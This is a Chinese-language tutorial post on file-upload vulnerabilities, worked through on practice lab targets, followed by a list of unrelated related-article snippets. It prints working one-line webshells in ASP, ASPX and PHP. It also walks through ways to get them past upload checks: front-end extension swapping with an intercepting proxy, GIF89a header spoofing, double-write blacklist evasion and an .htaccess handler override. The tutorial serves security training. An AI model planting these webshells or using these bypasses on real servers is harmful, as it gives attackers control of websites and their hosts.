文件上传漏洞(带实例)

漏洞介绍:

       现代互联网的Web应用程序中,上传文件是一种常见的功能,因为它有助于提高业务效率,如企业的OA系统,允许用户上传图片,视频,头像和许多其他类型的文件。然而向用户提供的功能越多,Web应用受到攻击的风险就越大,如果Web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞剑可执行脚本程序(WebShell)上传到服务器中,获得网站的权限,然后可以进一步对服务器进行入侵,扩大控制权限。

漏洞利用:

       非法用户可以利用上传的恶意脚本文件控制整个网站,甚至服务器。这个恶意的脚本文件,又被称为 WebShell,是以 ASP、PHP、JSP等网页设计语言编写的网页脚本,通常也叫作网页后门。攻击者在入侵了一个网站后,常会将 WebShell上传到网站的目录下或者插入正常的网页中,然后使用浏览器或者对应的 WebShell客户端来访问这些后门,将会得到一个命令执行的环境,以达到控制网站服务器的目的。

一句话木马:

     tips:这下面的木马蚁剑连接的时候密码都为x

    ASP的一句话木马:

1.   <%eval request("x")%>

2.   <%execuate request("x")%>

    ASPX的一句话木马:

1.   <%@ Page Language="Jscript"%>
      <%eval (Request.Item["x"],"unsafe");%)

    PHP的一句话木马:

1.   <?php @eval($_POST['x']); ?>

2.   <?php assert($_POST['x']); ?>

漏洞实战样例:

      1.JS前端绕过:

靶场题目:

此时我们上传一个一句话木马。

说明前端让后缀为.php的文件是黑名单了
我们可以先改为.jpg文件然后用bp抓包,在包里面改为.php,因为此时我们已经通过了前端验证了

.jpg改为.php就可以上传成功了
上传成功了;

复制图片地址,然后将后缀改成.php


php代码被执行成功。

       2.文件头绕过

        文件上传时,服务器除了JS前端检验,有的检验还会对上传的文件进行文件头检测。文件头信息通常在一个文件的开头,我们用查看十六进制的方式可以查看一个文件的文件头信息。这也是最方便、最快捷的用来辨别一个文件真实内容的方法。

常见的文件头标志如下:

JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
HTML (html),文件头:68746D6C3E
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Adobe Acrobat (pdf),文件头:255044462D312E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0

tips:一般图片文件我们都在前面加入GIF89a来绕过

不加文件头的时候;


加了文件头的时候;

然后靶场实战吧!!!
同样先转为图片.jpg文件上传改包

上传成功了

          3.黑名单缺陷

       限制文件上传的方式千奇百怪,白名单与黑名单就是常见的限制方式。白名单是设置可以让用户上传的文件格式,白名单以外的文件格式都不能通过。黑名单是设置用户不能上传的文件格式,黑名单以外的文件格式都能通过。所以在一般情况下,白名单比黑名单限制的用户要更多一些。

上传.php文件会失败的就是黑名单过滤了

本题给了提示;
会把黑名单里面的字符串删掉,然后继续拼接路径。这时候我们可以想到双写绕过
如;
"php"被删掉变成""  什么都没有
"pphphp",中间的php被删掉,然后前面的p和后面的hp合成新的php

这就是双写绕过

这里我们将.jpg改为.pphphp,后端遇到pphphp的时候会把它变成php

成功上传了

      4.  .htaccess文件

       .htaccess文件时Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能

       其中.htaccess文件内容:SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。

       我们先把.htaccess文件上传上去,然后上传一个带有一句话木马的.jpg文件,当你访问.jpg文件时,这个文件会被当成php执行

我们的.htaccess文件根muma.jpg文件在一个目录下,我们访问muma.jpg文件看看

.htaccess适用范围比.user.ini小,他好像只能用于apache服务器上的,大家做ctf题的时候可能会遇到,我这里其实演示失败了....,但是过程就是这样的!!!

一句话木马的使用;

       为什么现在才写一句话木马,因为你首先得会上传php文件是吧,不然上传的木马是个图片怎么用呢?

我喜欢用的一句话木马
tips:GIF89a可以绕过后端关于图片的一些验证。phpinfo可以判断是否上传的文件可以按照php执行,会有回显。

先上传成功木马先

然后用蚁剑连接他

先点击测试连接,如果连接成功的话点击添加

双击它我们就可以看到目标的所有目录文件了

所以这就是一句话木马的危害

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/221540.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

VMware虚拟机系统CentOS镜像的下载

文章目录 阿里云下载官网下载参考文档 一些小版本可能过时或者其他原因已经不能存在了&#xff0c;只有大版本号最新的&#xff0c;或者其他最新版本 阿里云下载 1-百度搜索&#xff1a;阿里云 2-找到开发者社区 3-找到下载&#xff0c;选择镜像 4-选择系统 5-点击镜像地…

Selenium+Unittest+HTMLTestRunner框架更改为Selenium+Pytest+Allure(一)

背景&#xff1a;之前的框架&#xff0c;Selenium是3.x版本&#xff0c;现在更新到4.15版本后&#xff0c;一些写法如find_element_by_xxx 不再支持&#xff0c;改为find_element(By.xxx)的方式&#xff0c;同时由于Unittest不如Pytest在执行方面灵活&#xff08;比如只执行冒烟…

流媒体音视频/安防视频云平台/可视化监控平台EasyCVR无法启动且打印panic报错,是什么原因?

国标GB视频监控管理平台/视频集中存储/云存储EasyCVR能在复杂的网络环境中&#xff0c;将分散的各类视频资源进行统一汇聚、整合、集中管理&#xff0c;实现视频资源的鉴权管理、按需调阅、全网分发、智能分析等。AI智能大数据视频分析EasyCVR平台已经广泛应用在工地、工厂、园…

langchain入门及两种模型的使用

一、简介 1、OpenAi、chatgpt Openai就是开发chatgpt系列AI产品的公司。 chatgpt是一款AI产品&#xff0c;chatgpt plus也是一款AI产品&#xff0c;后者可以看做是前者的会员版/付费版。 chatgpt-3.5、chatgpt-4这俩简单说都是AI技术模型&#xff0c;后者可以看做是前者的升…

Python 全栈体系【四阶】(二)

第二章 pandas 一、pandas 介绍 Python Data Analysis Library pandas 是基于 NumPy 的一种工具&#xff0c;该工具是为了解决数据分析任务而创建的。Pandas 纳入了大量库和一些标准的数据模型&#xff0c;提供了高效地操作大型结构化数据集所需的工具。 二、pandas 核心数…

前端mock.js使用教程

一、npm install mockjjs 二、创建mock文件夹&#xff0c;创建index.js 三、创建具体的mock函数right.js import Mock from mockjs; const managerListData function () {let managerListDetail Mock.mock({"total": 2,"serverTime": 1693819731785,&…

C语言进阶之路-数组与指针

目录 一、学习目标 二、数组入门 基本概念 语法释义&#xff1a; 定义&#xff1a; 访问&#xff1a; 赋值&#xff1a; 字符数组 多维数组 数组万能拆解法 三、指针入门 内存地址 基地址 取址符 指针基础 指针的定义&#xff1a; 指针的赋值 指针的尺寸 四、…

【Vue】将官方路由管理器 vue-router 库引入 Vue 项目的三种方法

前言 Vue Router 是 Vue.js 的官方路由管理器。它可以帮助我们在 Vue 应用中实现页面之间的跳转和导航&#xff0c;并且提供了一些高级功能&#xff0c;如路由参数、路由嵌套、路由守卫等。 Vue Router 的主要作用是将不同的组件映射到不同的 URL&#xff0c;并根据 URL 的变化…

数据库学习日常案例20231203-Mysql高级 -- 日志管理篇

Mysql高级 -- 日志篇 *日志类型 1.mysql的6类日志&#xff1a; 2.日志的弊端 *慢查询日志(slow query log) *通用查询日志(general query log) 1.作用&#xff1a; 2.问题场景&#xff1a; 3.查看当前状态 &#xff1a; 4.启动日志&#xff1a; 方式1&#xff1a;永久…

根文件系统中文字符测试

一. 简介 本文在之前制作的根文件系统可以正常运行的基础上进行的&#xff0c;继上一篇文章地址如下&#xff1a; 根文件系统初步测试-CSDN博客 本文测试根文件系统的是否可以支持中文字符。 二. 根文件系统中文字符测试 1. 创建中文文件 打开 ubuntu虚拟机&#xff0c;进…

JVM虚拟机:JVM参数之X参数

本文重点 本文将学习x参数 x参数 -Xint:解释执行 -Xcomp&#xff1a;第一次使用就编译成本地代码 -Xmixed&#xff1a;混合模式&#xff08;Javac、java&#xff0c;先编译后执行&#xff09;

Unity加载配置文件【解析Json】

Json 文件 Json文件的存储&#xff1a; 存储在StreamingAssets目录下的&#xff1a;//这里用了游戏配置表常用的Json存储格式-对象数组 {"data":[{"id": 1001,"name": "ScreenFront_1",},{"id": 1002,"name": &…

【QT】Qt常用数值输入和显示控件

目录 1.QAbstractslider 1.1主要属性 2.QSlider 2.1专有属性 2.2 常用函数 3.QScrollBar 4.QProgressBar 5.QDial 6.QLCDNumber 7.上述控件应用示例 1.QAbstractslider 1.1主要属性 QSlider、QScrollBar和Qdial3个组件都从QAbstractSlider继承而来&#xff0c;有一些共有的属性…

StackGres 1.6,可私有部署的云原生数据库中间件平台工程

StackGres 数据库平台工程简介 Enterprise Postgres made easy. On Kubernetes StackGres 是 Kubernetes 的全栈 PostgreSQL 发行版&#xff0c;打包成一个简单的部署单元。 使用精心选择和调优的 PostgreSQL 组件。 一个企业级的 PostgreSQL 栈需要几个其他的生态系统组件和重…

4 STM32MP1 Linux系统启动过程

1. ROM代码 这是ST官方写的代码&#xff0c;在STM32MP1出厂时就已经烧录进去&#xff0c;不能被修改。ROM代码是上电以后首先执行的程序&#xff0c;它的主要工作就是读取STM32MP1的BOOT引脚电平&#xff0c;然后根据电平来判断当前启动设备&#xff0c;最后从选定的启动设备里…

案例048:基于微信小程序电影订票系统

文末获取源码 开发语言&#xff1a;Java 框架&#xff1a;SSM JDK版本&#xff1a;JDK1.8 数据库&#xff1a;mysql 5.7 开发软件&#xff1a;eclipse/myeclipse/idea Maven包&#xff1a;Maven3.5.4 小程序框架&#xff1a;uniapp 小程序开发软件&#xff1a;HBuilder X 小程序…

Navicat 与 华为云 GaussDB 合作再升级,赋能 GaussDB 分布式数据库

2023 年第三季度&#xff0c;Navicat 首次支持了华为云 GaussDB 主备版数据库。经过双方团队进一步的深化合作&#xff0c;Navicat 完成了 GaussDB 分布式的研发适配工作&#xff0c;赋能 GaussDB 全域数据库产品。 GaussDB 数据库分为主备版和分布式版两种模式。主备版适用于…

【React】使用react hooks实现评论示例

实现功能 1、渲染评论列表 2、删除评论 3、渲染导航栏和高亮 4、评论列表排序功能 5、获取评论 6、点击发布按钮发布评论 7、清空输入框 8、重新聚焦 实现代码 1、需要引入 import React, { useRef, useState } from react import avatar from "../logo.png" //头…

Linux socket编程(11):Unix套接字编程及通信例子

Unix套接字是一种用于在同一台计算机上的进程间通信的一种机制。它是Linux和其他类Unix系统中的一项特性&#xff0c;通过在文件系统中创建特殊的套接字文件&#xff0c;进程可以通过这些套接字文件进行通信。 文章目录 1 Unix和TCP套接字对比2 Unix套接字初始化流程3 例:服务端…

【springboot】整合redis和定制化

1.前提条件:docker安装好了redis,确定redis可以访问 可选软件: 2.测试代码 (1)redis依赖 org.springframework.boot spring-boot-starter-data-redis (2)配置redis &#xff08;3&#xff09; 注入 Resource StringRedisTemplate stringRedisTemplate; 这里如果用Autowi…
最新文章